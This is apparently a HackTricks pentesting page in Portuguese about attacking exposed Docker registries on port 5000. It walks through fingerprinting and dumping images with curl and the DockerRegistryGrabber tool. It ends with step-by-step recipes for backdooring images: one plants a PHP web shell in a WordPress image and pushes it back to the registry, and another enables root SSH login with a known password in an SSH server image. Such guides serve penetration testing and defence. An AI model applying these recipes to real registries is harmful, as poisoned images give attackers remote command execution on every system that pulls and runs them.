mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-23 19:43:31 +00:00
319 lines
15 KiB
Markdown
319 lines
15 KiB
Markdown
# 5000 - Pentesting Docker Registry
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Informações Básicas
|
|
|
|
Um sistema de armazenamento e distribuição conhecido como **Docker registry** está em vigor para imagens Docker que são nomeadas e podem vir em várias versões, distinguidas por tags. Essas imagens são organizadas dentro de **Docker repositories** no registro, cada repositório armazenando várias versões de uma imagem específica. A funcionalidade fornecida permite que as imagens sejam baixadas localmente ou enviadas para o registro, assumindo que o usuário tenha as permissões necessárias.
|
|
|
|
**DockerHub** serve como o registro público padrão para Docker, mas os usuários também têm a opção de operar uma versão local do registro/distribuição Docker de código aberto ou optar pelo **Docker Trusted Registry** suportado comercialmente. Além disso, vários outros registros públicos podem ser encontrados online.
|
|
|
|
Para baixar uma imagem de um registro local, o seguinte comando é usado:
|
|
```bash
|
|
docker pull my-registry:9000/foo/bar:2.1
|
|
```
|
|
Este comando busca a imagem `foo/bar` versão `2.1` do registro local no domínio `my-registry` na porta `9000`. Por outro lado, para baixar a mesma imagem do DockerHub, especialmente se `2.1` for a versão mais recente, o comando se simplifica para:
|
|
```bash
|
|
docker pull foo/bar
|
|
```
|
|
**Porta padrão:** 5000
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
5000/tcp open http Docker Registry (API: 2.0)
|
|
```
|
|
## Descoberta
|
|
|
|
A maneira mais fácil de descobrir este serviço em execução é obtê-lo na saída do nmap. De qualquer forma, note que, como é um serviço baseado em HTTP, ele pode estar atrás de proxies HTTP e o nmap não o detectará.\
|
|
Algumas impressões digitais:
|
|
|
|
* Se você acessar `/` nada é retornado na resposta
|
|
* Se você acessar `/v2/` então `{}` é retornado
|
|
* Se você acessar `/v2/_catalog` você pode obter:
|
|
* `{"repositories":["alpine","ubuntu"]}`
|
|
* `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}`
|
|
|
|
## Enumeração
|
|
|
|
### HTTP/HTTPS
|
|
|
|
O Docker registry pode ser configurado para usar **HTTP** ou **HTTPS**. Portanto, a primeira coisa que você pode precisar fazer é **descobrir qual** está sendo configurado:
|
|
```bash
|
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
|
#If HTTPS
|
|
Warning: Binary output can mess up your terminal. Use "--output -" to tell
|
|
Warning: curl to output it to your terminal anyway, or consider "--output
|
|
Warning: <FILE>" to save to a file.
|
|
|
|
#If HTTP
|
|
{"repositories":["alpine","ubuntu"]}
|
|
```
|
|
### Autenticação
|
|
|
|
O registro do Docker também pode ser configurado para exigir **autenticação**:
|
|
```bash
|
|
curl -k https://192.25.197.3:5000/v2/_catalog
|
|
#If Authentication required
|
|
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
|
|
#If no authentication required
|
|
{"repositories":["alpine","ubuntu"]}
|
|
```
|
|
Se o Docker Registry estiver exigindo autenticação, você pode [**tentar forçar a senha usando isso**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\
|
|
**Se você encontrar credenciais válidas, precisará usá-las** para enumerar o registro, no `curl` você pode usá-las assim:
|
|
```bash
|
|
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
|
|
```
|
|
### Enumeração usando DockerRegistryGrabber
|
|
|
|
[DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) é uma ferramenta em python para enumerar / despejar o registro docker (sem ou com autenticação básica)
|
|
```bash
|
|
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
|
|
|
|
____ ____ ____
|
|
| _ \ | _ \ / ___|
|
|
| | | || |_) || | _
|
|
| |_| || _ < | |_| |
|
|
|____/ |_| \_\ \____|
|
|
Docker Registry grabber tool v2
|
|
by @SyzikSecu
|
|
|
|
positional arguments:
|
|
url URL
|
|
|
|
options:
|
|
-h, --help show this help message and exit
|
|
-p port port to use (default : 5000)
|
|
|
|
Authentication:
|
|
-U USERNAME Username
|
|
-P PASSWORD Password
|
|
-A header Authorization bearer token
|
|
|
|
Actions:
|
|
--list
|
|
--dump_all
|
|
--dump DOCKERNAME DockerName
|
|
|
|
Example commands:
|
|
python drg.py http://127.0.0.1 --list
|
|
python drg.py http://127.0.0.1 --dump my-ubuntu
|
|
python drg.py http://127.0.0.1 --dump_all
|
|
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
|
|
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
|
|
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
|
|
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
|
|
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
|
|
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
|
|
|
|
python3 DockerGraber.py http://127.0.0.1 --list
|
|
|
|
[+] my-ubuntu
|
|
[+] my-ubuntu2
|
|
|
|
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
|
|
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
|
|
python3 DockerGraber.py http://127.0.0.1 --dump_all
|
|
|
|
[+] my-ubuntu
|
|
[+] my-ubuntu2
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
[+] blobSum found 5
|
|
[+] Dumping my-ubuntu2
|
|
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
|
|
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
|
|
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
|
|
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
|
|
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
|
|
```
|
|
### Enumeração usando curl
|
|
|
|
Uma vez que você **obteve acesso ao docker registry**, aqui estão alguns comandos que você pode usar para enumerá-lo:
|
|
```bash
|
|
#List repositories
|
|
curl -s http://10.10.10.10:5000/v2/_catalog
|
|
{"repositories":["alpine","ubuntu"]}
|
|
|
|
#Get tags of a repository
|
|
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
|
|
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
|
|
|
|
#Get manifests
|
|
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
|
|
{
|
|
"schemaVersion": 1,
|
|
"name": "ubuntu",
|
|
"tag": "latest",
|
|
"architecture": "amd64",
|
|
"fsLayers": [
|
|
{
|
|
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
|
|
},
|
|
{
|
|
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
|
|
},
|
|
{
|
|
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
|
|
}
|
|
],
|
|
"history": [
|
|
{
|
|
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
|
|
},
|
|
{
|
|
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
|
|
},
|
|
{
|
|
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
|
|
}
|
|
],
|
|
"signatures": [
|
|
{
|
|
"header": {
|
|
"jwk": {
|
|
"crv": "P-256",
|
|
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
|
|
"kty": "EC",
|
|
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
|
|
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
|
|
},
|
|
"alg": "ES256"
|
|
},
|
|
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
|
|
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
|
|
}
|
|
]
|
|
}
|
|
|
|
#Download one of the previously listed blobs
|
|
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
|
|
|
|
#Inspect the insides of each blob
|
|
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
|
|
```
|
|
{% hint style="warning" %}
|
|
Observe que quando você baixa e descomprime os arquivos e pastas de blobs, eles aparecerão no diretório atual. **Se você baixar todos os blobs e descompactá-los na mesma pasta, eles substituirão os valores dos blobs descompactados anteriormente**, então tenha cuidado. Pode ser interessante descomprimir cada blob dentro de uma pasta diferente para inspecionar o conteúdo exato de cada blob.
|
|
{% endhint %}
|
|
|
|
### Enumeração usando docker
|
|
```bash
|
|
#Once you know which images the server is saving (/v2/_catalog) you can pull them
|
|
docker pull 10.10.10.10:5000/ubuntu
|
|
|
|
#Check the commands used to create the layers of the image
|
|
docker history 10.10.10.10:5000/ubuntu
|
|
#IMAGE CREATED CREATED BY SIZE COMMENT
|
|
#ed05bef01522 2 years ago ./run.sh 46.8MB
|
|
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
|
|
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
|
|
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
|
|
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB
|
|
|
|
#Run and get a shell
|
|
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
|
|
docker ps #Using a different shell
|
|
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
|
|
```
|
|
### Backdooring WordPress image
|
|
|
|
No cenário em que você encontrou um Docker Registry salvando uma imagem do wordpress, você pode inserir um backdoor.\
|
|
**Crie** o **backdoor**:
|
|
|
|
{% code title="shell.php" %}
|
|
```bash
|
|
<?php echo shell_exec($_GET["cmd"]); ?>
|
|
```
|
|
{% endcode %}
|
|
|
|
Crie um **Dockerfile**:
|
|
|
|
{% code title="Dockerfile" %}
|
|
```bash
|
|
FROM 10.10.10.10:5000/wordpress
|
|
COPY shell.php /app/
|
|
RUN chmod 777 /app/shell.php
|
|
```
|
|
{% endcode %}
|
|
|
|
**Crie** a nova imagem, **verifique** se foi criada e **envie**-a:
|
|
```bash
|
|
docker build -t 10.10.10.10:5000/wordpress .
|
|
#Create
|
|
docker images
|
|
docker push registry:5000/wordpress #Push it
|
|
```
|
|
### Backdooring SSH server image
|
|
|
|
Suponha que você encontrou um Docker Registry com uma imagem SSH e deseja backdoorá-la.\
|
|
**Baixe** a imagem e **execute**-a:
|
|
```bash
|
|
docker pull 10.10.10.10:5000/sshd-docker-cli
|
|
docker run -d 10.10.10.10:5000/sshd-docker-cli
|
|
```
|
|
Extraia o arquivo `sshd_config` da imagem SSH:
|
|
```bash
|
|
docker cp 4c989242c714:/etc/ssh/sshd_config .
|
|
```
|
|
E modifique-o para definir: `PermitRootLogin yes`
|
|
|
|
Crie um **Dockerfile** como o seguinte:
|
|
|
|
{% tabs %}
|
|
{% tab title="Dockerfile" %}
|
|
```bash
|
|
FROM 10.10.10.10:5000/sshd-docker-cli
|
|
COPY sshd_config /etc/ssh/
|
|
RUN echo root:password | chpasswd
|
|
```
|
|
{% endtab %}
|
|
{% endtabs %}
|
|
|
|
**Crie** a nova imagem, **verifique** se foi criada e **envie**-a:
|
|
```bash
|
|
docker build -t 10.10.10.10:5000/sshd-docker-cli .
|
|
#Create
|
|
docker images
|
|
docker push registry:5000/sshd-docker-cli #Push it
|
|
```
|
|
## Referências
|
|
* [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/)
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|